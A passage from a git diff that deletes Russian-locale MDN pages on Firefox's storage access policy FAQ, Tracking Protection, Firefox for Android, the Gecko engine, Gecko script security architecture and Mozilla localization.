-
-<ol>
- <li>Type <code>about:config</code> in your address bar. If you are presented with a page that warns you "This may void your warranty!", click "I accept the risk!"</li>
- <li>Right click on the next page and click "New" &gt; "String".</li>
- <li>For the preference name enter "urlclassifier.trackingAnnotationTable.testEntries".</li>
- <li>For the preference value enter comma separated origins that you’d like to have classified as trackers. E.g. "example.net,example.org".</li>
-</ol>
-
-<div class="warning">
-<p><strong>Warning</strong>: Be sure to remove these entries after you have finished testing.</p>
-</div>
-
-<h2 id="FAQ">FAQ</h2>
-
-<p>This cookie policy has the potential to lead to site breakage, but has been designed to allow common third-party integrations to continue to work while preventing cross-site tracking. In this section we describe the functionality you can expect in different integration scenarios.</p>
-
-<h3 id="Will_this_storage_access_policy_block_ads_from_displaying_on_my_website">Will this storage access policy block ads from displaying on my website?</h3>
-
-<p>No — this feature only restricts access to cookies and site data that can be used to track users across websites. Blocking tracking identifiers does not prevent the display of advertisements.</p>
-
-<h3 id="I_use_a_third-party_analytics_service_that_is_classified_as_a_tracker._Will_I_still_receive_analytics_data">I use a third-party analytics service that is classified as a tracker. Will I still receive analytics data?</h3>
-
-<p>This depends on how the third-party analytics service is implemented. Third-party analytics providers will no longer be able to user their third-party storage to collect data. This means that providers using cookies which are scoped to their third-party domain, or local storage and other site data stored under their origin, will no longer have access to those identifiers across other websites.</p>
-
-<p>If these services are embedded into the main context of the page, they can continue to use first-party cookies and site storage to track users across page visits on that specific first-party domain.</p>
-
-<h3 id="I_use_third-party_services_for_social_login_like_and_share_button_integration._Will_my_users_still_be_able_to_make_use_of_these_services">I use third-party services for social login, like, and share button integration. Will my users still be able to make use of these services?</h3>
-
-<p>This depends on how the social integration is implemented. We expect that many of the popular social integrations will continue to function as they do under Firefox’s current cookie policy with some minor differences in the user experience.</p>
-
-<p>A social content provider that is classified as a tracker will not have access to their third-party cookies when the user first visits a new first party. Thus, the user may appear logged out to the service despite being logged in when they visit the provider’s website directly. Depending on the type of integration, the user may have to take some action to interact with the social content provider before the provider is given access to their cookies. For example:</p>
-
-<ul>
- <li>For social login, the user may have to click a login button on the first party.</li>
- <li>For social like or share buttons, the user will have to first interact with the button in a logged-out state. Once they do, many social content providers will prompt them to log in.</li>
-</ul>
-
-<p>After these interactions, the provider will receive third-party storage access if they prompt the user in a way that is captured by the storage access activation heuristics described above. These providers should consider switching to explicitly request storage access through the Storage Access API as soon as possible. An <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1469714">initial implementation of this API</a> is currently available in Nightly.</p>
-
-<p> </p>
-
-<h3 id="I_use_third-party_pixels_and_other_tools_to_measure_the_effectiveness_of_my_ad_campaigns._Will_I_still_be_able_to_measure_the_conversion_rate_of_my_ads">I use third-party pixels and other tools to measure the effectiveness of my ad campaigns. Will I still be able to measure the conversion rate of my ads?</h3>
-
-<p>This depends on how the third party has implemented the measurement tool, but generally ad conversion measurement will be more difficult. Consider the following examples:</p>
-
-<ol>
- <li>You run an ad on a social media website that is seen several times by a user, but never clicked. That user later visits your website, which includes a conversion tracking tag from the same social media website. This type of conversion is often referred to as a “view-through conversion.” Since the social media website does not have access to their third-party storage, they will not recognize the user as the same user that saw the advertisements on their website and the conversion will not be tracked. We expect that most view-through conversion tracking techniques will no longer work, including those offered by display networks.</li>
- <li>You run an ad on a display network or social media website that is clicked by a user. That user lands on your website, which includes a conversion tracking tag from the same website that displayed your ad. This type of conversion is often referred to as a “click-through conversion.” Since the social media site or display network will not have access to their third-party storage, they will not recognize the user as the same user that saw the advertisements on their website and the conversion will not be tracked. We expect that this version of click-through conversion will no longer work.</li>
- <li>You run an ad that appears on a social media website. A user clicks on your advertisement and is taken to a landing page that contains a conversion tracking tag from the third-party network. On the social media website, the network annotates the advertisement landing page URL with a query parameter that signals that the visit was the result of a click on an advertisement. On your website, the display network’s tag checks the URL query parameters and saves any ad tracking parameters to first-party storage. If a user later completes a conversion event, the network’s tag checks first-party storage to determine which click (or clicks) was responsible for the visit. We expect that click-through conversion implemented in this way will continue to work.</li>
-</ol>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/ru/mozilla/firefox/privacy/tracking_protection/index.html b/files/ru/mozilla/firefox/privacy/tracking_protection/index.html
deleted file mode 100644
index c8124052d6..0000000000
--- a/files/ru/mozilla/firefox/privacy/tracking_protection/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: Tracking Protection
-slug: Mozilla/Firefox/Privacy/Tracking_Protection
-tags:
- - Отслеживание
-translation_of: Mozilla/Firefox/Privacy/Tracking_Protection
----
-<div>{{FirefoxSidebar}}</div>
-
-<h2 id="Что_такое_защита_от_отслеживания">Что такое защита от отслеживания?</h2>
-
-<p>Начиная с версии 42, Firefox Desktop и Firefox for Android включает в себя встроенную защиту от отслеживания. В приватном окне браузера (вкладки в Firefox for Android), Firefox будет блокировать содержимое, загружаемое с тех доменов, которые отслеживают запросы пользователей на сайтах.</p>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">Некоторый заблокированный контент является частью макета страницы, и пользователи могут заметить проблемы с разметкой, когда Firefox заблокировал эти трекеры.</span> <span title="">Иногда пользователи вообще не замечают, если сетка страниц работает так, что другие элементы страницы скользят, чтобы заполнить дыры, оставленные заблокированными элементами.</span></span></p>
-
-<p>Когда Firefox блокирует содержимое, в Web-консоли появляется сообщение следующего типа:</p>
-
-<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Ресурс на «https://some/url» был заблокирован, так как включена блокировка содержимого.</span></span></span></pre>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">Обратите внимание, что с Firefox для Android вы можете получить доступ к выводу консоли, используя удаленный отладчик.</span></span></p>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">Пользовательский интерфейс Firefox укажет пользователям, когда контент был заблокирован, и позволит им разблокировать его для текущего сеанса, если они захотят.</span> <span title="">Пользователи также смогут полностью отключить защиту от слежения, если захотят.</span></span></p>
-
-<h2 id="Каким_образом_Firefox_выбирает_содержимое_для_блокировки">Каким образом Firefox выбирает содержимое для блокировки?</h2>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">Контент блокируется в зависимости от домена, с которого он должен быть загружен.</span></span></p>
-
-<p>Firefox включает в себя список сайтов, которые были идентифицированы как участвующие в перекрестном отслеживании пользователей. Когда защита от отслеживания активна, Firefox будет блокировать содержимое тех сайтов, которые находятся в списке</p>
-
-<p>Сайты которые отслеживают запросы пользователей чаще всего являются сторонними рекламными и аналитическими сайтами.</p>
-
-<h2 id="Что_это_значит_для_вашего_сайта">Что это значит для вашего сайта?</h2>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">Очевидно, это означает, что при включенной защите от отслежения:</span></span></p>
-
-<ul>
- <li><span class="tlid-translation translation" lang="ru"><span title="">Контент сторонних трекеров не будет виден пользователям.</span></span></li>
- <li><span class="tlid-translation translation" lang="ru"><span title="">Ваш сайт не сможет использовать сторонние рекламные или аналитические сервисы, которые занимаются отслеживанием</span></span></li>
-</ul>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">То есть, если другие части вашего сайта зависят от загружаемых трекеров, то эти части также будут повреждены, когда включена защита от трекинга.</span> <span title="">Например, если ваш сайт содержит функцию обратного вызова, которая запускается при загрузке контента с сайта отслеживания, обратный вызов не будет выполнен.</span></span></p>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">Но учтите, что зависимость от третьей стороны не является хорошей практикой, так как это означает, что ваш сайт может быть поврежден, если эта самая сторона работает медленно или вовсе недоступна, или если трекер заблокирован надстройкой.</span></span></p>
diff --git a/files/ru/mozilla/firefox_для_android/index.html b/files/ru/mozilla/firefox_для_android/index.html
deleted file mode 100644
index 475994098f..0000000000
--- a/files/ru/mozilla/firefox_для_android/index.html
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: Firefox для Android
-slug: Mozilla/Firefox_для_Android
-tags:
- - Fennec
- - Firefox
- - Андроид
- - Мобильный
-translation_of: Mozilla/Firefox_for_Android
----
-<p>Всебольше и больше людей используют мобильные устройства как основной или даже единственный способ получить доступ к Интернету.<a class="link-https" href="https://www.mozilla.org/en-US/mobile/"> Firefox for Android</a> (codenamed Fennec) является открытым, основанным на тех же стандартах браузер, что и тот, который на вашем рабочем столе Firefox.</p>
-<p>Firefox для Android строит свой пользовательский интерфейс из родных Android виджетов вместо XUL: это значительно повышает производительность при запуске, и потребление памяти.</p>
-<h2 id="Содействие_Firefox_для_Android">Содействие Firefox для Android</h2>
-<p>Отправной точкой для получения информации о проекте Firefox дляAndroid, является проект <a class="link-https" href="https://wiki.mozilla.org/Mobile/Get_Involved">"Get Involved" page</a>.</p>
-<p>Вы можете помочь нам создать и улучшить Firefox for Android:</p>
-<ul>
- <li>Помогите нам с <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing" title="https://developer-new.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing">compatibility testing</a></li>
- <li>Подпишитесь на <a href="https://mail.mozilla.org/listinfo/mobile-firefox-dev">mobile-firefox-dev mailing list</a></li>
- <li>Свяжитесь с командой на <a class="link-irc" href="irc://irc.mozilla.org/#mobile">IRC</a></li>
- <li>Регистрация в нашем <a class="link-https" href="https://wiki.mozilla.org/Mobile/Notes">Wednesday development meeting</a></li>
- <li>Будьте в курсе новостей проекта по <a class="external" href="http://planet.firefox.com/mobile/">Planet Firefox Mobile</a>, <a href="http://fennecnightly.tumblr.com/">Tumblr</a> и <a class="link-https" href="https://twitter.com/FennecNightly" title="https://twitter.com/#!/mozmobile">Twitter</a></li>
- <li><a href="https://wiki.mozilla.org/Mobile/Fennec/Android" title="https://wiki.mozilla.org/Mobile/Fennec/Android">Build and hack on Firefox for Android</a> (Fennec)</li>
-</ul>
-<h2 id="Разработка_для_мобильного_Интернета">Разработка для мобильного Интернета</h2>
-<p>Мы начали совместное руководство по <a href="/En/Mobile" title="En/Mobile">designing web sites for mobile devices</a>.</p>
-<p>С Firefox for Android, у вас есть доступ к нескольким API, которые предоставляют основные возможности устройства, закрывая разрыв между веб и родными приложениями:</p>
-<ul>
- <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/" title="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Battery</a></li>
- <li><a href="/en/DOM/Using_the_Camera_API" title="Using the Camera API">Camera</a></li>
- <li><a href="/en/API/WebTelephony/Introduction_to_WebTelephony" title="Introduction to WebTelephony">WebTelephony</a></li>
- <li><a href="/en/API/WebSMS/Introduction_to_WebSMS" title="Introduction to WebSMS">WebSMS</a></li>
- <li><a href="/En/Using_geolocation" title="Using geolocation">Geolocation</a></li>
- <li><a href="/en/Detecting_device_orientation" title="https://developer.mozilla.org/en/detecting_device_orientation">Orientation</a></li>
- <li><a href="/en/WebAPI/Web_Activities" title="Web Activities">Web Activities</a></li>
-</ul>
-<p>Чтобы проверить веб-сайт на Firefox для Android, вы можете <a class="link-https" href="https://www.mozilla.org/en-US/mobile/">install it on an Android device</a> или <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">run it on your desktop using the Android Emulator</a>.</p>
-<h2 id="Создание_мобильных_дополнений">Создание мобильных дополнений</h2>
-<p><a href="/en/Extensions/Mobile" title="en/Extensions/Firefox_on_Android">Firefox for Android supports add-ons</a> использует точно такой же <a href="/en/Extensions" title="en/Extensions">extension system</a> как и во всех других приложениях на основе Gecko. Мы не изобретали новую дополнительную систему. Это означает, что для создания дополнения для Firefox на Android является <a href="/en/Building_an_Extension" title="en/Building_an_Extension">same process</a> которые будут использованы для рабочего стола Firefox. Дополнения, которые работают с настольным Firefox не смогут работать в Firefox на Android. Пользовательские которых просто слишком разные.</p>
-<div class="note">
- Firefox на Android имеет уникальный идентификатор приложения, которые должны быть использованы в <code>install.rdf</code>.  Идентификатор <code>{aa3c5121-dab2-40e2-81ca-7ea25febc110}</code></div>
-<p>Как классическое Restart-требобание так и новое <a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrapped_extensions">restartless  </a>является дополнением поддержки. Использование restartless предпологает выполнить деуствие когда оно возможно, потому что пользователь на много раньше заставляет приложение выполнить restart при установке или удалении дополнение.</p>
-<h3 id="Краткая_информация">Краткая информация</h3>
-<ul>
- <li>Там не видно XUL в UI(интерфейс пользователя), так что использование накладки, в попытке добавления или изменения UI бесполезно.</li>
- <li>Внутренний код и объекты, такие как <code>gBrowser</code>, не существуют. Посмотрите на Firefox on Android <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js" title="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js"><code>browser.js</code></a> чтобы узнать о внутренностях. Большая часть своей фундаментальной функциональностью существует.</li>
- <li>Такие услуги, как <code>nsIPromptService</code> and <code>nsIAlertsService</code> предполагают использовать родной Android UI.</li>
- <li>Существует простой JavaScript объект, называемый <a href="/en/Extensions/Mobile/API/NativeWindow" title="en/Extensions/Mobile/NativeWindow"><code>NativeWindow</code></a>, что позволяет манипулировать частями родной Android UI.</li>
-</ul>
-<h2 id="Получить_помощь_с_Firefox_for_Android">Получить помощь с Firefox for Android</h2>
-<p>Документация и учебные пособия для использования и поиска неисправностей Firefox for Android доступны на <a class="external" href="http://support.mozilla.org/mobile" title="http://support.mozilla.org/mobile">Mozilla Support website</a>.</p>
-<div id="__if72ru4rkjahiuyi_once" style="display: none;">
-  </div>
-<div id="__hggasdgjhsagd_once" style="display: none;">
-  </div>
-<div id="__if72ru4rkjahiuyi_once" style="display: none;">
-  </div>
diff --git a/files/ru/mozilla/gecko/index.html b/files/ru/mozilla/gecko/index.html
deleted file mode 100644
index 1d45f608b7..0000000000
--- a/files/ru/mozilla/gecko/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Gecko
-slug: Mozilla/Gecko
-tags:
- - Gecko
- - Layout Engine
- - Mozilla
- - Браузерный движок
-translation_of: Mozilla/Gecko
----
-<p><strong>Gecko</strong> — название движка отрисовки веб-страниц, разработанного в рамках проекта Mozilla. Изначально он назывался NGLayout.</p>
-
-<p>Функциональность Gecko включает в себя чтение такого веб-содержимого, как <a href="/en-US/docs/HTML" title="HTML">HTML</a>, <a href="/en-US/docs/CSS" title="CSS">CSS</a>, <a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, и его отрисовку на экране пользователя или печать. В приложениях, основанных на XUL, Gecko также используется для отрисовки пользовательского интерфейса.</p>
-
-<p>Gecko используется во многих приложениях, в том числе нескольких веб-браузерах — таких как Firefox, SeaMonkey, Camino и т. д. (полный список см. в <a class="external" href="http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29#Web_browsers" rel="external" title="http://en.wikipedia.org/wiki/Gecko_(layout_engine)#Web_browsers">статье о Gecko на Википедии</a>). Продукты, использующие одну и ту же версию Gecko, обладают одинаковой поддержкой стандартов.</p>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Документация">Документация</h2>
-
- <dl>
- <dt><a href="/en-US/docs/Gecko_FAQ" title="Gecko_FAQ">Вопросы и ответы</a></dt>
- <dd>Часто задаваемые вопросы о Gecko.</dd>
- <dt><a href="/en-US/docs/Gecko_DOM_Reference" title="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference">Справочник по DOM в Gecko</a></dt>
- <dd>Справочная информация о DOM.</dd>
- <dt><a href="/en-US/docs/Gecko-Specific_DOM_Events" title="Gecko/Gecko event reference">Справочник по событиям, специфичным для Gecko</a></dt>
- <dd>Справочная информация о нестандартных событиях, используемых в Gecko и приложениях Mozilla; информацию о стандартных DOM-событиях см. в <a href="/en-US/docs/DOM/DOM_event_reference" title="DOM/DOM event reference">справочнике по событиям DOM</a>.</dd>
- <dt><a href="/en-US/docs/Gecko/Versions" title="Gecko/Versions">Версии Gecko и приложений</a></dt>
- <dd>Версии Gecko и приложений, в которых они используются.</dd>
- <dt><a class="external" href="/en-US/docs/Introduction_to_Layout_in_Mozilla" title="https://developer.mozilla.org/en-US/docs/Introduction_to_Layout_in_Mozilla">Введение в отрисовку страниц в Mozilla</a></dt>
- <dd>Техническая информация об отрисовке страниц.</dd>
- <dt><a href="/en-US/docs/Embedding_Mozilla" title="Embedding_Mozilla">Использование движка Mozilla</a></dt>
- <dd>Использование Gecko в ваших собственных приложениях.</dd>
- <dt><a href="/en-US/docs/Character_Sets_Supported_by_Gecko" title="Character Sets Supported by Gecko">Кодировки текста, поддерживаемые Gecko</a></dt>
- <dd>Список кодировок текста, поддерживаемых Gecko.</dd>
- <dt><a href="/en-US/docs/Gecko/HTML_parser_threading" title="Gecko/HTML_parser_threading">Многопоточный разбор HTML</a></dt>
- <dd>Описание использования многопоточности при разборе HTML-кода.</dd>
- <dt>{{interwiki('wikimo', 'Gecko:Home_Page', 'Главная страница Mozilla-вики')}}</dt>
- <dd>Отправная точка для действующих разработчиков. Планы и дополнительные актуальные ресурсы.</dd>
- </dl>
-
- <p><span class="alllinks"><a href="/en-US/docs/tag/Gecko" title="tag/Gecko">Показать всё…</a></span></p>
- </td>
- <td>
- <h2 class="Community" id="Сообщество">Сообщество</h2>
-
- <ul>
- <li>Перейти на форумы Mozilla… {{DiscussionList("dev-tech-layout", "mozilla.dev.tech.layout")}}</li>
- </ul>
-
- <h2 class="Related_Topics" id="См._также">См. также</h2>
-
- <dl>
- <dd><a href="/en-US/docs/Web_Standards" title="Web_Standards">Веб-стандарты</a>, <a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/Embedding_Mozilla" title="Embedding_Mozilla">внедрение Mozilla в сторонние приложения</a>, <a href="/en-US/docs/Developer_Guide" title="Developing_Mozilla">разработка с помощью Mozilla</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
diff --git a/files/ru/mozilla/gecko/script_security/index.html b/files/ru/mozilla/gecko/script_security/index.html
deleted file mode 100644
index 6bd1b1bf07..0000000000
--- a/files/ru/mozilla/gecko/script_security/index.html
+++ /dev/null
@@ -1,164 +0,0 @@
----
-title: Script security
-slug: Mozilla/Gecko/Script_security
-translation_of: Mozilla/Gecko/Script_security
----
-<div class="summary">
-<p>An overview of the script security architecture in Gecko.</p>
-</div>
-
-<p>Like any Web browser, Gecko loads JavaScript from untrusted and potentially hostile web pages, and runs it on the user's computer. The security model for web content is based on the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>, in which code gets full access to objects from the same origin but highly restricted access to objects from a different origin. The rules for determining whether an object is same-origin with another, and what access is allowed cross-origin, are now mostly standardized across browsers.</p>
-
-<p>Gecko has an additional problem, though: while its core is written in C++, the front-end code is itself written in JavaScript. This JavaScript code, which is commonly referred to as <em>chrome code</em>, runs with system privileges. If it is compromised, the attacker can take over the user's computer. <a href="/en-US/Add-ons">Extensions</a> also run with chrome privileges.</p>
-
-<p>Having the browser front-end in JavaScript has benefits: it can be much quicker to develop in JavaScript than in C++, and contributors do not need to learn C++. However, JavaScript is a highly dynamic, malleable, language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content. From the point of view of chrome code, the script security model in Gecko is intended to provide that help, so writing secure, system-privileged JavaScript can be a realistic expectation.</p>
-
-<h2 id="Security_policy">Security policy</h2>
-
-<p>Gecko implements the following security policy:</p>
-
-<ul>
- <li><strong>Objects that are same-origin</strong> are able to access each other freely. For example, the objects associated with a document served from <em>https://example.org/</em> can access each other, and can also access objects served from <em>https://example.org/foo</em>.</li>
- <li><strong>Objects that are cross-origin</strong> get highly restricted access to each other, according to the <a href="/en-US/docs/Web/Security/Same-origin_policy#Cross-origin_script_API_access">same-origin policy</a>. For example, code served from <em>https://example.org/</em> trying to access objects from <em>https://somewhere-else.org/</em>.</li>
- <li><strong>Objects in a privileged scope</strong> are allowed complete access to objects in a less privileged scope, but by default they see a <a href="/en-US/docs/Mozilla/Gecko/Script_security#Privileged_to_unprivileged_code">restricted view</a> of such objects, designed to prevent them from being tricked by the untrusted code. For example, chrome-privileged JavaScript accessing web content.</li>
- <li><strong>Objects in a less privileged scope</strong> don't get any access to objects in a more-privileged scope, unless the more-privileged scope <a href="/en-US/docs/Mozilla/Gecko/Script_security#Unprivileged_to_privileged_code">explicitly clones those objects</a>. For example, web content accessing objects in a chrome-privileged scope. </li>
-</ul>
-
-<h2 id="Compartments">Compartments</h2>
-
-<p>Compartments are the foundation for Gecko's script security architecture. A compartment is a specific, separate area of memory. In Gecko, there's a separate compartment for every global object. This means that each global object and the objects associated with it live in their own region of memory.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9697/compartments.png" style="display: block; margin-left: auto; margin-right: auto; width: 567px;"></p>
-
-<p>Normal content windows are globals, of course, but so are chrome windows, <a href="/en-US/docs/Components.utils.Sandbox">Sandboxes</a>, <a href="/en-US/docs/Web/API/Worker">Workers</a>, the <code>ContentFrameMessageManager</code> in a <a href="/en-US/Firefox/Multiprocess_Firefox/Frame_script_environment">frame script</a>, and so on.</p>
-
-<p>Gecko guarantees that JavaScript code running in a given compartment is only allowed to access objects in the same compartment. When code from compartment A tries to access an object in compartment B, Gecko gives it a <em>cross-compartment wrapper</em>. This is a proxy in compartment A for the real object, which lives in compartment B.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9729/cross-compartment-wrapper.png" style="display: block; margin-left: auto; margin-right: auto; width: 443px;"></p>
-
-<p>Inside the same compartment, all objects share a global and are therefore same-origin with each other. Therefore there's no need for any security checks, there are no wrappers, and there is no performance overhead for the common case of objects in a single window interacting with each other.</p>
-
-<p>Whenever cross-compartment access happens, the wrappers enable us to implement the appropriate security policy. Because the wrapper we choose is specific to the relationship between the two compartments, the security policy it implements can be static: when the caller uses the wrapper, there's no need to check who is making the call or where it is going.</p>
-
-<h2 id="Cross-compartment_access">Cross-compartment access</h2>
-
-<h3 id="Same-origin">Same-origin</h3>
-
-<p>As we've already seen, the most common scenario for same-origin access is where objects belonging to the same window object interact. This all takes place within the same compartment, with no need for security checks or wrappers.</p>
-
-<p>When objects share an origin but not a global - for example two web pages from the same protocol, port, and domain - they belong to two different compartments, and the caller gets a <em>transparent wrapper</em> to the target object.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9735/same-origin-wrapper.png" style="display: block; margin-left: auto; margin-right: auto; width: 443px;"></p>
-
-<p>Transparent wrappers allow access to all the target's properties: functionally, it's just as if the target is in the caller's compartment.</p>
-
-<h3 id="Cross-origin">Cross-origin</h3>
-
-<p>If the two compartments are cross-origin, the caller gets a <em>cross-origin wrapper</em>.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9731/cross-origin-wrapper.png" style="display: block; margin-left: auto; margin-right: auto; width: 443px;"></p>
-
-<p>This denies access to all the object's properties, except for a few properties of <a href="/en-US/docs/Web/API/Window"><code>Window</code></a> and <a href="/en-US/docs/Web/API/Location"><code>Location</code></a> objects, as defined by the <a href="/en-US/docs/Web/Security/Same-origin_policy#Cross-origin_script_API_access">same-origin policy</a>.</p>
-
-<h3 id="Privileged_to_unprivileged_code">Privileged to unprivileged code</h3>
-
-<p>The most obvious example of this kind of security relation is between system-privileged chrome code and untrusted web content, but there are other examples in Gecko. The Add-on SDK runs <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">content scripts</a> in <a href="/en-US/docs/Components.utils.Sandbox">sandboxes</a> which are initialized with an <a href="/en-US/docs/Mozilla/Gecko/Script_security#Expanded_principal">expanded principal</a>, giving them elevated privileges with respect to the web content they operate on, but reduced privileges with respect to chrome.</p>
-
-<p>If the caller has a higher privilege than the target object, the caller gets an <em>Xray wrapper</em> for the object.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9737/xray-wrapper.png" style="display: block; margin-left: auto; margin-right: auto; width: 443px;"></p>
-
-<p>Xrays are designed to prevent untrusted code from confusing trusted code by redefining objects in unexpected ways. For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. Any <a href="https://developer.mozilla.org/en-US/docs/Glossary/Expando">expando</a> properties are not visible, and if any native DOM properties have been redefined, this is not visible in the Xray.</p>
-
-<p>The privileged code is able to <a href="/en-US/docs/Components.utils.waiveXrays">waive Xrays</a> if it wants unfiltered access to the untrusted object.</p>
-
-<p>See <a href="/en-US/docs/Xray_vision">Xray vision</a> for much more information on Xrays.</p>
-
-<h3 id="Unprivileged_to_privileged_code">Unprivileged to privileged code</h3>
-
-<p>If the caller has lower privileges than the target object, then the caller gets an <em>opaque wrapper.</em></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9733/opaque-wrapper.png" style="display: block; margin-left: auto; margin-right: auto; width: 443px;"></p>
-
-<p>An opaque wrapper denies all access to the target object.</p>
-
-<p>However, the privileged target is able to copy objects and functions into the less-privileged scope using the <a href="/en-US/docs/Components.utils.exportFunction"><code>exportFunction()</code></a> and <a href="/en-US/docs/Components.utils.cloneInto"><code>cloneInto()</code></a> functions, and the less-privileged scope is then able to use them.</p>
-
-<h2 id="Security_checks">Security checks</h2>
-
-<p>To determine the security relation between two compartments, Gecko uses two concepts: <em>security principals</em> and the act of <em>subsuming</em>. To establish the security relationship between two compartments A and B, Gecko asks:</p>
-
-<p><em>Does the security principal for compartment A subsume the security principal for compartment B, and vice versa?</em></p>
-
-<h3 id="Subsumes">Subsumes</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td style="width: 30%;"><em>A subsumes B</em></td>
- <td>A has all of the privileges of B, and possibly more, and therefore A is allowed to see and do anything that B can see and do.</td>
- </tr>
- <tr>
- <td><em>A Subsumes B &amp;&amp;</em><em> B Subsumes A</em></td>
- <td>A and B are same-origin.</td>
- </tr>
- <tr>
- <td><em>A Subsumes B &amp;&amp; B !Subsumes A</em></td>
- <td>
- <p>A is more privileged than B.</p>
-
- <p>A gets access to all of B, by default with Xray vision, which it may choose to waive.</p>
-
- <p>B gets no access to A, although A may choose to export objects to B.</p>
- </td>
- </tr>
- <tr>
- <td><em>A !Subsumes B &amp;&amp; B !Subsumes A</em></td>
- <td>A and B are cross-origin.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Security_principals">Security principals</h3>
-
-<div>There are four types of security principal: the system principal, content principals, expanded principals, and the null principal.</div>
-
-<div> </div>
-
-<h4 id="System_principal">System principal</h4>
-
-<p>The system principal passes all security checks. It subsumes itself and all other principals. Chrome code, by definition, runs with the system principal, as do <a href="/en-US/Firefox/Multiprocess_Firefox/Frame_script_environment">frame scripts</a>.</p>
-
-<h4 id="Content_principal">Content principal</h4>
-
-<p>A content principal is associated with some web content and is defined by the <a href="/en-US/docs/Web/Security/Same-origin_policy#Definition_of_an_origin">origin</a> of the content. For example, a normal DOM window has a content principal defined by the window's origin. A content principal subsumes only other content principals with the same origin. It is subsumed by the system principal, any expanded principals which include its origin, and any other content principals with the same origin.</p>
-
-<h4 id="Expanded_principal">Expanded principal</h4>
-
-<p>An expanded principal is specified as an array of origins:</p>
-
-<pre class="brush: js language-js"><code class="language-js"><span class="punctuation token">[</span><span class="string token">"http://mozilla.org"</span><span class="punctuation token">,</span> <span class="string token">"http://moz.org"</span><span class="punctuation token">]</span></code></pre>
-
-<p>The expanded principal subsumes every content principal it contains. The content principals do not subsume the expanded principal, even if the expanded principal only contains a single content principal.</p>
-
-<p>Thus <code>["http://moz.org"]</code> subsumes <code>"http://moz.org"</code> but not vice versa: so the expanded principal gets full access to the content principals it contains, with Xray vision by default, and the content principals get no access to the expanded principal.</p>
-
-<p>This also enables the script security model to treat compartments with expanded principals more like part of the browser than like web content. This means, for example, that it can run when JavaScript is disabled for web content.</p>
-
-<p>Expanded principals are useful when we want to give code extra privileges, including cross-origin access, but don't want to give it full system privileges. For example, they're used in the <a href="https://developer.mozilla.org/en-US/Add-ons/SDK">Add-on SDK</a> to give content scripts <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Guides/Content_Scripts/Cross_Domain_Content_Scripts">cross-domain privileges for a predefined set of domains</a>, and to protect content scripts form access by untrusted web content, without having to give content scripts system privileges.</p>
-
-<h4 id="Null_principal">Null principal</h4>
-
-<p>The null principal fails almost all security checks. It has no privileges and can't be accessed by anything but itself and chrome. It subsumes no other principals, even other null principals.</p>
-
-<h3 id="Principal_relationships">Principal relationships</h3>
-
-<p>The diagram below summarizes the relationships between the different principals. The arrow connecting principals A and B means "A subsumes B":</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9799/principal-relationships.png" style="display: block; margin-left: auto; margin-right: auto; width: 524px;"></p>
-
-<h2 id="Computing_a_wrapper">Computing a wrapper</h2>
-
-<p>The following diagram shows the factors that determine what kind of wrapper compartment A would get when trying to access an object in compartment B.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9801/computing-a-wrapper.png" style="display: block; margin-left: auto; margin-right: auto; width: 696px;"></p>
diff --git a/files/ru/mozilla/localization/index.html b/files/ru/mozilla/localization/index.html
deleted file mode 100644
index cf5ed0136d..0000000000
--- a/files/ru/mozilla/localization/index.html
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Локализация Mozilla
-slug: Mozilla/Localization
-tags:
- - Локализация
- - Перевод
-translation_of: Mozilla/Localization
----
-<p><span class="seoSummary"><strong>Локализация</strong> (<span lang="en">L10n</span> от англ. <span lang="en">Localization</span>) — это процесс перевода интерфейсов пользователя программного обеспечения с одного языка на другой и их адаптации под иностранную культуру. Эта инфорация предназначена для тех, кому требуется узнать технические аспекты реализации локализации. Информация, размещенная в этом разделе, предназначена для разработчиков и участников сообщества Mozilla</span>.</p>
-
-<h2 id="См._также">См. также</h2>
-
-<dl>
